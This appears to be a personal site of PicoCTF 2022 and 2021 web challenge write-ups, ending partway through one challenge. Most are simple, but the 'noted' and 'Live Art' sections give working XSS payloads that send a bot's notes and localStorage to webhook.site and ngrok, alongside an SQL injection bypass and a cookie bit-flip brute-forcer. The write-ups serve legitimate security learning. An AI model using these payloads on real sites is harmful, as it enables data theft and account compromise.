# Welcome

Welcome to my documentation site where you will find docs for few of my projects, writeups for CTFs and list of learning resources.


# PicoCTF 2022

Write-ups for PicoCTF 2022 Challenges

## Web Exploit

Here are the web challenges that I completed in PicoCTF 2022

### Includes <a href="#includes" id="includes"></a>

**Description:** Can you get the flag?

**Points:** 100

#### **Solution**

The title is includes so it probably has something to do with imports on the HTML

{% hint style="info" %}
**Hint 1:** Is there more code than what the inspector initially shows?
{% endhint %}

There were two files that were imported `style.css` and `script.js` and both has part of the flag. \
\
**Flag:** picoCTF{1nclu51v17y\_1of2\_f7w\_2of2\_4d305f36}

### Inspect HTML <a href="#inspect-html" id="inspect-html"></a>

**Description:** Can you get the flag?

**Points:** 100

#### **Solution**

The title suggest we "inspect HTML"

The source was&#x20;

```html
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>On Histiaeus</title>
  </head>
  <body>
    <h1>On Histiaeus</h1>
    <p>However, according to Herodotus, Histiaeus was unhappy having to stay in
       Susa, and made plans to return to his position as King of Miletus by 
       instigating a revolt in Ionia. In 499 BC, he shaved the head of his 
       most trusted slave, tattooed a message on his head, and then waited for 
       his hair to grow back. The slave was then sent to Aristagoras, who was 
       instructed to shave the slave's head again and read the message, which 
       told him to revolt against the Persians.</p>
    <br>
    <p> Source: Wikipedia on Histiaeus </p>
	<!--picoCTF{1n5p3t0r_0f_h7ml_b6602e8e}-->
  </body>
</html>

```

**Flag:** picoCTF{1n5p3t0r\_0f\_h7ml\_b6602e8e}

### Local Authority <a href="#local-authority" id="local-authority"></a>

**Description:** Can you get the flag?

**Points:** 100

#### **Solution**

The site opens basic looking login page.

{% hint style="info" %}
**Hint 1:** How is the password checked on this website?
{% endhint %}

Hint suggest we bypass the login. Let's test it with username:password as a:a.&#x20;

It opens `login.php` which says "Login Failed". After viewing source of this page I found a file named `secure.js` being imported. The contents were:

```javascript
function checkPassword(username, password)
{
  if( username === 'admin' && password === 'strongPassword098765' )
  {
    return true;
  }
  else
  {
    return false;
  }
}

```

\
**Flag:** picoCTF{j5\_15\_7r4n5p4r3n7\_8086bcb1}

### Search source <a href="#search-source" id="search-source"></a>

**Description:** The developer of this website mistakenly left an important artifact in the website source, can you find it?

**Points:** 100

#### **Solution**

The title suggest we search through the source again.

{% hint style="info" %}
**Hint 1:** How could you mirror the website on your local machine so you could use more powerful tools for searching?
{% endhint %}

You could probably download the source by "save as" and then use some searching tool for the terms "picoCTF" however I just instinctively tried to search couple file manually one of which was `style.css` where I found the flag.\
\
**Flag:** picoCTF{1nsp3ti0n\_0f\_w3bpag3s\_869d23af}

### Forbidden Paths <a href="#forbidden-paths" id="forbidden-paths"></a>

**Description:** We know that the website files live in /usr/share/nginx/html/ and the flag is at /flag.txt but the website is filtering absolute file paths. Can you get past the filter to read the flag?

**Points:** 200

#### **Solution**

The description pretty much tells you what to do. The flag is located at `../../../../flag.txt`

Just input the path and you'll see the flag.\
\
**Flag:** picoCTF{7h3\_p47h\_70\_5ucc355\_e73ad00d}

### Power Cookie <a href="#power-cookie" id="power-cookie"></a>

**Description:** Can you get the flag?

**Points:** 200

#### **Solution**

This is a case where we have to modify the cookie to elevate our access

{% hint style="info" %}
**Hint 1:** Do you know how to modify cookies?
{% endhint %}

After clicking "Continue as guest". I saw an unauthorised page. The cookie was as following ![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXhM8wKbPRvrCg_Jwx8%2Fuploads%2F8Ywq6uf09i6Gl7aJsh89%2Fimage.png?alt=media\&token=2f9a61ed-838f-4daa-a66b-050cc5c1a307)

I changed the value to 1 and it showed me the flag. Simple!\
\
**Flag:** picoCTF{gr4d3\_A\_c00k13\_80bad8fa}

### Roboto Sans <a href="#roboto-sans" id="roboto-sans"></a>

**Description:** The flag is somewhere on this web application not necessarily on the website. Find it.

**Points: 2**00

#### **Solution**

In my opinion this was the worst because it was guessy. It took me way too long to do this. "Roboto Sans" and "Not on website but on web application" kinda point you to look at "robots.text" (ikr??).&#x20;

```
User-agent *
Disallow: /cgi-bin/
Think you have seen your flag or want to keep looking.

ZmxhZzEudHh0;anMvbXlmaW
anMvbXlmaWxlLnR4dA==
svssshjweuiwl;oiho.bsvdaslejg
Disallow: /wp-admin/
```

Looks like there is a base64 string there. After decoding `anMvbXlmaWxlLnR4dA==` it is: `js/myfile.txt`

**Flag:** picoCTF{Who\_D03sN7\_L1k5\_90B0T5\_6ac64608}

### Secrets <a href="#secrets" id="secrets"></a>

**Description:** We have several pages hidden. Can you find the one with the flag?

**Points: 2**00

#### **Solution**

We start by inspecting source and there was one interesting find.  `secret/assets/index.css`

I went to `/secret` where I found another page with a gif. After inspecting it's source I found `hidden/file.css`

I continued to `secret/hidden` and I found a new page. Inspected that. Found `superhidden/login.css` continued to `secret/hidden/superhidden` and there I found the flag after viewing source.\
\
**Flag:** picoCTF{succ3ss\_@h3n1c\@10n\_f55d602d}

### SQL Direct <a href="#sql-direct" id="sql-direct"></a>

**Description:** Connect to this PostgreSQL server and find the flag!

**Points:** 200

#### **Solution**

I downloaded PostgreSQL.  I connected to the credentials and checked for databases with command `\l`

```
   Name    |  Owner   | Encoding |  Collate   |   Ctype    |   Access privileges
-----------+----------+----------+------------+------------+-----------------------
 pico      | postgres | UTF8     | en_US.utf8 | en_US.utf8 |
 postgres  | postgres | UTF8     | en_US.utf8 | en_US.utf8 |
 template0 | postgres | UTF8     | en_US.utf8 | en_US.utf8 | =c/postgres          +
           |          |          |            |            | postgres=CTc/postgres
 template1 | postgres | UTF8     | en_US.utf8 | en_US.utf8 | =c/postgres          +
           |          |          |            |            | postgres=CTc/postgres
(4 rows)
```

I connected to database `pico` with `\c pico`

I then view tables with `\dt+`. I found&#x20;

```
                    List of relations
 Schema | Name  | Type  |  Owner   | Size  | Description
--------+-------+-------+----------+-------+-------------
 public | flags | table | postgres | 16 kB |
```

A simple `SELECT * FROM flags;` revealed the flag.

**Flag:** picoCTF{L3arN\_S0m3\_5qL\_t0d4Y\_34fa2564}

### SQLiLite <a href="#sqlilite" id="sqlilite"></a>

**Description:** Can you login to this website?

**Points:** 300

#### **Solution**

The site opens a login page. I tested with credentials a:a again. It revealed this page:![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXhM8wKbPRvrCg_Jwx8%2Fuploads%2FDPa2hFuEZ3eAdqJu2eEz%2Fimage.png?alt=media\&token=4583042f-f414-4228-ab29-b680b698b1fd)

Here we can see the SQL query. This a a very easy one. We can just an `or` statement with an always true case such as `1=1` and comment out the password section with `--`

Username: `' OR 1=1 --`

Password: a (anything)

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXhM8wKbPRvrCg_Jwx8%2Fuploads%2F7YN2rIK2NlOJ83JUhuco%2Fimage.png?alt=media\&token=d2ebba7b-83c6-4d33-b309-c26906e6c3de)

Successfully logged in. You can find the flg in source code.<br>

**Flag:** picoCTF{L00k5\_l1k3\_y0u\_solv3d\_it\_cd1df56b}

### noted <a href="#noted" id="noted"></a>

**Description:** I made a nice web app that lets you take notes. I'm pretty sure I've followed all the best practices so its definitely secure right?

**Points: 5**00

#### **Solution**

This was a challenging one. A little bit.

{% hint style="info" %}
**Hint 1:** Are you sure I followed all the best practices?
{% endhint %}

{% hint style="info" %}
**Hint 2:** There's more than just HTTP(S)!
{% endhint %}

{% hint style="info" %}
**Hint 3:** Things that require user interaction normally in Chrome might not require it in Headless Chrome.
{% endhint %}

After browsing the site for few minutes, I realised that you can inject html code while creating new notes.

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXhM8wKbPRvrCg_Jwx8%2Fuploads%2FFJo4OgnHDDeiBXZlZijp%2Fimage.png?alt=media\&token=2cc7a4fc-d809-44da-a103-0f32f7d5bf30)![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXhM8wKbPRvrCg_Jwx8%2Fuploads%2FexnSBWgHaxmFBae5Hs6g%2Fimage.png?alt=media\&token=7aefcb24-cce3-4d7c-88ed-9ba995404291)

The source code was available to download. Let's look at what's going on in the backend. `web.js` has all the endpoints and the server is run internally on `localhost:8080`. However the most interesting part is `report.js` which handles the `/report` endpoint. Let's look at its code.

```javascript
async function run(url) {
	let browser;

	try {
		module.exports.open = true;
		browser = await puppeteer.launch({
			headless: true,
			pipe: true,
			args: ['--incognito', '--no-sandbox', '--disable-setuid-sandbox'],
			slowMo: 10
		});

		let page = (await browser.pages())[0]

		await page.goto('http://0.0.0.0:8080/register');
		await page.type('[name="username"]', crypto.randomBytes(8).toString('hex'));
		await page.type('[name="password"]', crypto.randomBytes(8).toString('hex'));

		await Promise.all([
			page.click('[type="submit"]'),
			page.waitForNavigation({ waituntil: 'domcontentloaded' })
		]);

		await page.goto('http://0.0.0.0:8080/new');
		await page.type('[name="title"]', 'flag');
		await page.type('[name="content"]', process.env.flag ?? 'ctf{flag}');

		await Promise.all([
			page.click('[type="submit"]'),
			page.waitForNavigation({ waituntil: 'domcontentloaded' })
		]);

		await page.goto('about:blank')
		await page.goto(url);
		await page.waitForTimeout(7500);

		await browser.close();
	} catch(e) {
		console.error(e);
		try { await browser.close() } catch(e) {}
	}

	module.exports.open = false;
}
```

Couple of things to notice here:

* It's a puppeteer bot
* It is a headless, no-sandbox chromium browser (it's infamous of lax security)
* The bot creates a new account with completely random username and password. Creates a new note with content as `process.env.flag` i. e the flag.&#x20;
* The bot in the end opens the `url` we provide on the `/reports` page.

The ideal plan would be to read the contents of "My notes" of the bot account which includes the flag. I had several ideas like use fetch API to login to a test account and create a note with contents from the bot account but the `csrf` library used was making it very tricky to do that.&#x20;

After some manual testing I figured that you can access internet through the puppeteer bot (even though they said we couldn't? wth?)

Now this opens a lot of possibilities. I can make a get request containing the "My Notes" contents as an argument. So, here's my plan:

![The "Plan"](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXhM8wKbPRvrCg_Jwx8%2Fuploads%2FOlEITqrCcF6T53GCRGod%2FMX%20\(2\).jpg?alt=media\&token=9b5e5827-0737-4b6a-a9ee-8bec403cade0)

So, my plan is simple. I will create an account on main servers with credentials `a:a.`

Then, I will created a script that will access `webhook.site` url with `body` contents of a particular window named "pwn" (This will be created later). Let's have a look at the script.

```javascript
<script>
  if (window.location.search.includes('pwn'))
    window.location = 'https://webhook.site/a5591c91-8eec-4366-9388-e231484f01b5?' + window.open('', 'pwn').document.body.textContent
</script>
```

I added a clause to check for `?pwn` in the url because without it the website was crashing since it was redirecting every time you accessed notes. Now, let's go ahead and plant it.

![Planted XSS](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXhM8wKbPRvrCg_Jwx8%2Fuploads%2FdMxBLDXZChjJbKTSpaX4%2Fimage.png?alt=media\&token=84f03caa-b7a6-472c-b374-51ff7ca0ed8c)

Now, it is time for the main script. The one that goes into the `/report` page, into the `url` field.

Here I want to do three things inside puppeteer in a sequence.&#x20;

1. Open a new window named "pwn" with url `http://localhost/notes`. This will open the "My notes" page as bot account. Which has the flag.
2. Login in to our test account with credentials `a:a`\`
3. Go to `/notes?pwn` after logging in which will capture the contents of "pwn" window automatically due to xss.

That's it. That should do it. Now let's have a look at the code.&#x20;

```html
data:text/html,
<form action="http://localhost:8080/login" method=POST id=pwn target=_blank>
  <input type="text" name="username" value="a"><input type="text" name="password" value="a">
</form>
<script>
  window.open('http://localhost:8080/notes', 'pwn');
  setTimeout(`pwn.submit()`, 1000);
  setTimeout(`window.location='http://localhost:8080/notes?pwn'`, 1500);
</script>
```

`data:text/html` tells chrome that the contents are html. Next, we create a form with action as the local login page and pre-enter the credentials as `values` in the input fields. Next we execute our sequence inside a script tag. We open a window named "pwn" with notes url (This has our flag in body). Then we wait 1 second and submit our login form. After we are logged in as "a:a" we then open `/notes?pwn` after 1.5 seconds which will trigger our XSS and steal the contents from the "pwn" tag which still has body from the bot account (and the flag).

We'll go ahead and first get this script in one line and then enter it into the "url" section of `/report`.

Now we wait for 2.5 seconds :relaxed:

![THE FLAG](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXhM8wKbPRvrCg_Jwx8%2Fuploads%2FufpzA7TtsaZoN5PFmwZz%2Fimage.png?alt=media\&token=7c293773-67df-43af-a8ad-d702fb18717f)

**Flag:** picoCTF{p00rth0s\_parl1ment\_0f\_p3p3gas\_386f0184}

### Live Art <a href="#live-art" id="live-art"></a>

**Description:** There's nothing quite as fun as drawing for an audience. So sign up for LiveArt today and show the world what you can do.

**Points:** 500

{% hint style="info" %}
**Hint 1:** The flag will be the admin's username/broadcast link, at the origin
{% endhint %}

{% hint style="info" %}
**Hint 2:** [The flag will be the admin's username/broadcast link, at the origin](https://html.spec.whatwg.org/multipage/custom-elements.html)
{% endhint %}

#### **Solution**

This one was the trickiest of them all and I had to spend hours on it. I had to go through the source code and manually check every component for exploit (by spamming everything with console.logs ahah).&#x20;

Note: I am not super familiar with react.js so I might be missing something here?

Okay let's get started with what I found.

Firstly, this is is sort of similar to the "noted" challenge above as this has a puppeteer bot as well and the flag is stored in the "localStorage" of the puppeteer bot.

The key part of this challenge is actually finding the exploit. They payload was straight forward. On running the client source code locally I came across few interesting things. Let's go through them.

#### Hooks

```javascript
const getHashParams = <T extends Record<string, string>>() => {
  const params = new URLSearchParams(window.location.hash.substring(1));
  const result = Object.create(null);

  params.forEach((value, key) => {
    result[key] = value;
  });
  
  return result as T;
};

export const useHashParams = <T extends Record<string, string>>() => {
  const [params, setParams] = React.useState(getHashParams<T>());

  React.useEffect(() => {
    const listener = () => {
      console.log("Setting listner", params);
      setParams(getHashParams<T>());
    };

    window.addEventListener("hashchange", listener);

    return () => {
      window.removeEventListener("hashchange", listener);
    };
  });

  return params;
};j
```

This is a little bit interesting, these functions are used in the `error.tsx` file. Basically, these are reading key value pairs from the url and are returning an object as type "Record". It is interesting because you can use this record inside html elements as attributes. For example, you can use `{height: 200, width: 200}` for type `Record<string, string>` inside any HTML element like `<div ..RecordObject ></div>` and this would translate to `<div height=200 width=200></div>`&#x20;

Therefore, my first instinct was inject js code through this URL function inside an HTML element. Like `onerror=alert()` inside an image tag as the site is using image tags widely. Hence, I needed to find the right place and right payload to be able to do this. That brings us the next page.

#### Drawing

```javascript
const getWrappedError = WrapComponentError(ErrorPage)
const getWrappedViewer = WrapComponentError(Viewer);

const isWideEnough = () => window.innerWidth > 600;

interface Props {
    page: string;
}

const _Drawing = (props: Props) => {
    const [image, setImage] = React.useState<string | undefined>();
    const [bigEnough, setBigEnough] = React.useState(isWideEnough());

    const page = props.page;

    React.useEffect(() => {
        if (!page) return;

        const peer = new Peer();
        peer.on("open", () => {
            const conn = peer.connect(page);
            conn.on("data", (data) => {
                if (typeof data === "string") {
                    setImage(data);
                }
            });
        })
    }, [page]);

    React.useEffect(() => {
        const listener = () => {
            setBigEnough(isWideEnough());
        }

        window.addEventListener("resize", listener);

        return () => {
            window.removeEventListener("resize", listener);
        }
    });

    const view = bigEnough
        ? getWrappedViewer({ image })
        : getWrappedError({ error: "Please make your window bigger" });

    return (
        <div>
            { view }
        </div>
    );
};

```

At first this didn't seem weird but after running and observing locally I realised that the `isWideEnough()` is actually checking the size of the window that had accessed `/drawing` and is doing a conditional rendering:

if the window is wide enough. It runs the `viewer` but if it not then it displays `error` page. The error page is where I found that it takes parameters from url. So definitely something is happening here.&#x20;

After running and logging viewer and error pages. I realised that the viewer has a state element called `dimensions` which runs some calculations and passes it to image tag as `<img src={props.image} { ...dimensions }/>`

Now things are getting interesting, if I am able to get my `Record` type object into `dimensions` then I can inject a script inside `onerror`. The question is how.&#x20;

I noticed something while testing the behaviour of `/drawing` upon resizing the  the window. When I open the `/drawing` page in a smaller window it shows me error. But when I expand the window size of browser it runs the `isWideEnough()` asynchronously automatically renders the `viewer` tab. But this time the image is bugged.&#x20;

![Right after increasing the browser window size](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXhM8wKbPRvrCg_Jwx8%2Fuploads%2FiHlScfl8wG7pj7orxdPf%2Fimage.png?alt=media\&token=e168c4c7-2241-4522-b6bc-08f16dfcb8d4)

`<img src={props.image} { ...dimensions }/>` This is was the code it was supposed to run but here we see the both `props` and `dimensions` is empty.

This is because the states of the page `/drawing` were initiated right when we loaded the url but after the page content is re-rendered dynamically the states and props inside the second rendor did not initiate. Meaning, the current state variables on this page are the ones from `error.tsx` which we loaded first due to screen being not wide enough.&#x20;

Things get more interesting, we run `const [params, setParams] = React.useState(getHashParams());` in the `error.tsx` page. Now this will bind itself to the very first state variable on the second page which is `const [dimensions, updateDimensions] = ...` on `viewer`  (How? I am not 100% sure, perhaps it is by design of react or not following hooks best practices? I would appreciate if someone points me to the exact reason).

This means that whatever we pass variables to `dimensions` through url by just entering the followed by `#`. Let's give it a try.&#x20;

* First we open a small chrome tab and enter the url: http\://`saturn.picoctf.net:63756/drawing/pwn#src=https://i.kym-cdn.com/entries/icons/facebook/000/017/788/gotem.jpg`&#x20;

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXhM8wKbPRvrCg_Jwx8%2Fuploads%2FGv1M90H9MhqmB6wvLCcY%2Fimage.png?alt=media\&token=25604cf1-1bd3-4c8f-8ef8-7f9375924524)

* Now we Maximize the window. This will show us the injected params inside the image tag.

![GOTEM](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXhM8wKbPRvrCg_Jwx8%2Fuploads%2FpPTDy7LOobzz1mkQPGyT%2Fimage.png?alt=media\&token=74fc631b-1842-435a-af43-70b4e5629023)

Ok now we've established that we can inject parameters inside the image tag on `/drawing` page! Now we need to insert the `onerror` parameter. But it's not that simple. It gets filtered out by React because if it's design. We have a way around it. That is, from our second hint, Custom Elements. We can force react to treat the `<img>` tag as a custom element by passing a `is` parameter to it. ([Check this out](https://github.com/facebook/react/blob/ebd7ff65b6fea73313c210709c88224910e86339/packages/react-dom/src/shared/isCustomComponent.js#L10-L13))&#x20;

Now let's try that, we repeat same steps as above with payload URL. Our URL now will be

```
http://saturn.picoctf.net:63756/drawing/pwn#src=none&onerror=alert(%22pwn%22)&is
```

![XSS](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXhM8wKbPRvrCg_Jwx8%2Fuploads%2FzfJgHKpyjfR4VDfHdgAP%2Fimage.png?alt=media\&token=006cb53d-9e4a-4ce4-b82e-c553b93bbc57)

That worked like a charm. Now from here it's a simple way forward. Like I said in the beginning, there is puppeteer bot that opens URLs from `/fan-mail` the bot browser has the flag in its local storage. The plan is to repeat the same steps above inside the bot but capture the `localStorage.username` and send it to our ngrok. Since we can't make the bot resize the browser we will use `iframes`. Now the bot only allows http and https protocols. So we have to set up our payload on public url using ngrok and pass it to the bot. But first, let's create the payload.

We need the bot to do only three things.

* Load the `localhost:4000` on a low-width iframe and go to `/drawing/<anything>#src=none&onerror=<xss payload>&is`
* Increase the width of the `iframe` after loading so we trigger the xss.&#x20;
* Build an xss payload that can send `localStorage.username` to ngrok.

Here's the payload that I cam up with:

```javascript
<iframe src="none" id=frame height="1000"></iframe>
<script>
	frame.contentWindow.name = `window.open('${location.href}'+localStorage.username)`
	frame.onload = () => {
		setTimeout(`frame.contentWindow.location = 'http://localhost:4000/drawing/pwn#onerror=eval(window.name)&src=pwn&is=notpwn'`, 1000)
		setTimeout(`frame.width = 1000`, 1500)
	}
</script>
```

* Firstly, I am creating an `iframe` with `none` as source, 1000 height and default width (which is small enough to produce the error).
* Second I am storing a function that will capture the `localStorage.username` and send it to ngrok in a string format. I am using `frame.contentWindow.name` to store it since we can't store it outside the iframe context.&#x20;
  * Note, the current state of the `frame.contentWindow.name` is stored in string format. So it doesn't execute the function inside it unless we run it inside `eval()`
  * `location.href` is basically the URL of the ngrok.
* After that, I am changing the iframe src to the xss URL. Which opens the error page.
  * Note, the xss runs `eval(window.name)` which basically executes the (string) name: `window.open('${location.href}'+localStorage.username)` as javascript code. So this will open `<our ngrok url>/<flag>`
* Lastly, I am changing the width of the iframe to large enough to trigger the XSS.

Now let's save this payload as `index.html` and start our simple http server in python using `python3 -m http.server` and then start our ngrok server that listens to the simple http server on our computer.&#x20;

![The Setup](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXhM8wKbPRvrCg_Jwx8%2Fuploads%2FQ9Xf3lA6jHUhnxxx5zNJ%2Fimage.png?alt=media\&token=f6e18b9d-9737-4aa8-99df-408686823d61)

Now we just enter our ngrok URL in the fan-mail section and we should see our flag in logs.

![The FLAG](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MXhM8wKbPRvrCg_Jwx8%2Fuploads%2Ft0djQnBhdG9zhIOQub2N%2Fimage.png?alt=media\&token=92b35301-be23-4920-be28-706e561c729b)

**Flag:**&#x70;icoCTF{beam\_me\_up\_reacty\_90b651ae}


# PicoCTF 2021

Writeups for PicoCTF 2021 Challenges

## Web Exploit

Here are the web challenges that I completed in PicoCTF 2021

### Get aHEAD <a href="#getahead" id="getahead"></a>

**Description:** Find the flag being held on this server to get ahead of the competition

**Points:** 20

#### **Solution**

The title of the challenge is interesting, the first instinct is that there is something hidden in the headers but let's look at Hints

{% hint style="info" %}
**Hint 1:** Maybe you have more than 2 choices
{% endhint %}

Let's look at the HTML code for this

```markup
				<div class="col-md-6">
					<div class="panel panel-primary" style="margin-top:50px">
						<div class="panel-heading">
							<h3 class="panel-title" style="color:red">Red</h3>
						</div>
						<div class="panel-body">
							<form action="index.php" method="GET">
								<input type="submit" value="Choose Red"/>
							</form>
						</div>
					</div>
				</div>
				<div class="col-md-6">
					<div class="panel panel-primary" style="margin-top:50px">
						<div class="panel-heading">
							<h3 class="panel-title" style="color:blue">Blue</h3>
						</div>
						<div class="panel-body">
							<form action="index.php" method="POST">
								<input type="submit" value="Choose Blue"/>
							</form>
						</div>
					</div>
				</div>
```

You can see there are two different methods used. "GET" and "POST" so the hint is probably referring to a third method and we can see "HEAD" popping out in the title. Let's try a "HEAD" request.

```bash
 curl -I HEAD -i http://mercury.picoctf.net:53554/index.php
```

The above curl request returns the flag as expected.

**Flag:** picoCTF{r3j3ct\_th3\_du4l1ty\_2e5ba39f}

### Cookies

**Description:** Who doesn't love cookies? Try to figure out the best one.

**Points:** 40

#### **Solution**

The challenge name is "Cookies" so let's look at cookies.

The cookie set is `name=-1` , let's try changing it to 1

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXhM8wKbPRvrCg_Jwx8%2F-MXhQTaBymNOj2llBgp2%2F-MXhTrSP1VFLKPofdVgh%2Fimage.png?alt=media\&token=ae3880e1-1dbc-465e-a075-187687d9ff3d)

There is a change in the page, So we just need to find the right cookie. Using Brute force manually at I `name=18` found the flag.

**Flag:** picoCTF{3v3ry1\_l0v3s\_c00k135\_88acab36}

### Scavenger Hunt

**Description:** There is some interesting information hidden around this site. Can you find it?

**Points:** 50

#### **Solution**

By inspecting the source code I noticed this

```markup
      <div id="tababout" class="tabcontent">
		<h3>What</h3>
		<p>I used these to make this site: <br/>
		  HTML <br/>
		  CSS <br/>
		  JS (JavaScript)
		</p>
	<!-- Here's the first part of the flag: picoCTF{t -->
      </div>
```

Inspecting the CSS I noticed&#x20;

```
/* CSS makes the page look nice, and yes, it also has part of the flag. Here's part 2: h4ts_4_l0 */
```

Assuming I will find something in the JS file too, I found `/* How can I keep Google from indexing my website? */` After a quick google search, I figured it's **robots.txt** where I found 3rd part and a hint&#x20;

```
# Part 3: t_0f_pl4c
# I think this is an apache server... can you Access the next flag?
```

Working a lot with apache servers in the good 'ol days, I know it has to be **.htaccess**. Surpise, Surprise

```
# Part 4: 3s_2_lO0k
# I love making websites on my Mac, I can Store a lot of information there.
```

I know Mac creates hidden files like `.DS_Store` so let's look for that

```
Congrats! You completed the scavenger hunt. Part 5: _a69684fd}
```

Awesome!!

**Flag:** picoCTF{th4ts\_4\_l0t\_0f\_pl4c3s\_2\_lO0k\_a69684fd}

### Some Assembly Required 1&#xD;

**Points:** 70

#### **Solution**

Judging by the title it probably has something to do with Assembly language, Since it's a web challenge. It's probably Web Assembly, Let's see if there is a WASM file imported.

```
    i32.load offset=12
    local.set $var5
    local.get $var4
    i32.load offset=8
    local.set $var6
    local.get $var6
    local.get $var5
    i32.store8 offset=1072
    return
  )
  (data (i32.const 1024) "picoCTF{a2843c6ba4157dc1bc052818a6242c3f}\00\00")
)
```

There is and it also has the flag.

**Flag:** picoCTF{a2843c6ba4157dc1bc052818a6242c3f}

### More Cookies&#xD;

**Description:** I forgot Cookies can Be modified Client-side, so now I decided to encrypt them!

**Points:** 90

#### **Solution**

Looking at the website, This is a continuation of the "Cookies" challenge. So let's have a look

This time the page reads "Welcome to my cookie search page. Only the admin can use it!" and the cookie is

```
auth_name=UXVDRDhEMmNrbTFCV25jbzdheFBjbHNmOWErZnNJdnY5Nk5pUkVNTkVXYUdRK0FVSk9tTGtRT3h1a0dWSDJrbmNHSUxsRTlNR2FZZFJaZ3RRb09EdngyUnd6L3FlbCtPSmZjbnJUVE5pWnVVUHNDQ1lJdFkzbTI4N29NWWxBRU4=
```

It's a base64 but when I decode it, it's still in gibberish, So it's encrypted. Let's see the Hint

{% hint style="info" %}
**Hint 1:** <https://en.wikipedia.org/wiki/Homomorphic\\_encryption>
{% endhint %}

It's a Wikipedia page for a very interesting encryption method, It's more like an algorithm than an encryption formula. I found this to be the hardest challenge in the web,  Reading articles about Homomorphic encryption and looking at other writeups I understand that we do not have to decrypt it to solve it, Homomorphic encryption allows you to perform operations on encrypted text. Also, I noticed that the letters "CBC" are oddly capitalized in the challenge description. So, It's a CBC bitflip. Meaning the encrypted text contains a bit that determines if it's admin or not, so probably something like `admin=0` but I don't know it's position so I brute forced it, Here's the code

```python
from base64 import b64decode
from base64 import b64encode
import requests

def bitFlip( pos, bit, data):
    raw = b64decode(data)

    list1 = list(raw)
    list1[pos] = chr(ord(list1[pos])^bit)
    raw = ''.join(list1)
    return b64encode(raw)

ck = "UXVDRDhEMmNrbTFCV25jbzdheFBjbHNmOWErZnNJdnY5Nk5pUkVNTkVXYUdRK0FVSk9tTGtRT3h1a0dWSDJrbmNHSUxsRTlNR2FZZFJaZ3RRb09EdngyUnd6L3FlbCtPSmZjbnJUVE5pWnVVUHNDQ1lJdFkzbTI4N29NWWxBRU4="

for i in range(128):
  for j in range(128):
    c = bitFlip(i, j, ck)
    cookies = {'auth_name': c}
    r = requests.get('http://mercury.picoctf.net:25992/', cookies=cookies)
    if "picoCTF{" in r.text:
      print(r.text)
      break
```

**Flag:** picoCTF{cO0ki3s\_yum\_82f39377}

### Who are you?&#xD;

**Description:** Let me in. Let me iiiiiiinnnnnnnnnnnnnnnnnnnn

**Points:** 100

#### **Solution**

**Stage 1:**

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXhM8wKbPRvrCg_Jwx8%2F-MXkUjFl_aD6jM_CvUxs%2F-MXkWNC6kHUqsAm9kSMY%2Fimage.png?alt=media\&token=2ca44c21-4074-4b53-a02d-483b54185ef1)

This is the only thing I see on the website, Let's look at the hints

{% hint style="info" %}
**Hint 1:** It ain't much, but it's an RFC <https://tools.ietf.org/html/rfc2616>
{% endhint %}

So, I have to set special headers for this, After looking through [**Mozilla HTTP Header Docs**](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers) I found a header `User-Agent` which contains information regarding the browser, So I set it to **"picobrowser"**

**Stage 2:**

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXhM8wKbPRvrCg_Jwx8%2F-MXkUjFl_aD6jM_CvUxs%2F-MXkY3Kpi6avgn_azKRK%2Fimage.png?alt=media\&token=5817bcf4-710f-4520-a8d5-84afd8029d77)

After changing the header related to the browser, This is what I see. After looking through headers that relate to information regarding the previous site. I found `Referer` I changed it to the same URL.

`Referer: http://mercury.picoctf.net:39114/`

**Stage 3:**

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXhM8wKbPRvrCg_Jwx8%2F-MXkUjFl_aD6jM_CvUxs%2F-MXkZ6213arRLyiyYQu1%2Fimage.png?alt=media\&token=d328676a-4aa4-4519-9d36-c2cc655607c2)

After passing the previous stage, Now I see this. It is asking us to visit it from 2018. I know that there is a header for **"Date"**, so I changed it to a date back in 2018.

`Date: Date: Fri, 1 Dec 2018`&#x20;

**Stage 4:**

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXhM8wKbPRvrCg_Jwx8%2F-MXkUjFl_aD6jM_CvUxs%2F-MXkaksYm5bBu7XwRzGY%2Fimage.png?alt=media\&token=0ddea63d-8df0-468b-bc82-9b5134fb1cc3)

This time I need to set a header for "Do Not Track" which is `DNT`\
`DNT: 1`

**Stage 5:**

![](https://2039650555-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXhM8wKbPRvrCg_Jwx8%2F-MXkUjFl_aD6jM_CvUxs%2F-MXk_-mu-VPH2QTS3HHK%2Fimage.png?alt=media\&token=3cda0995-23f0-47d1-b436-fa480ec8906e)

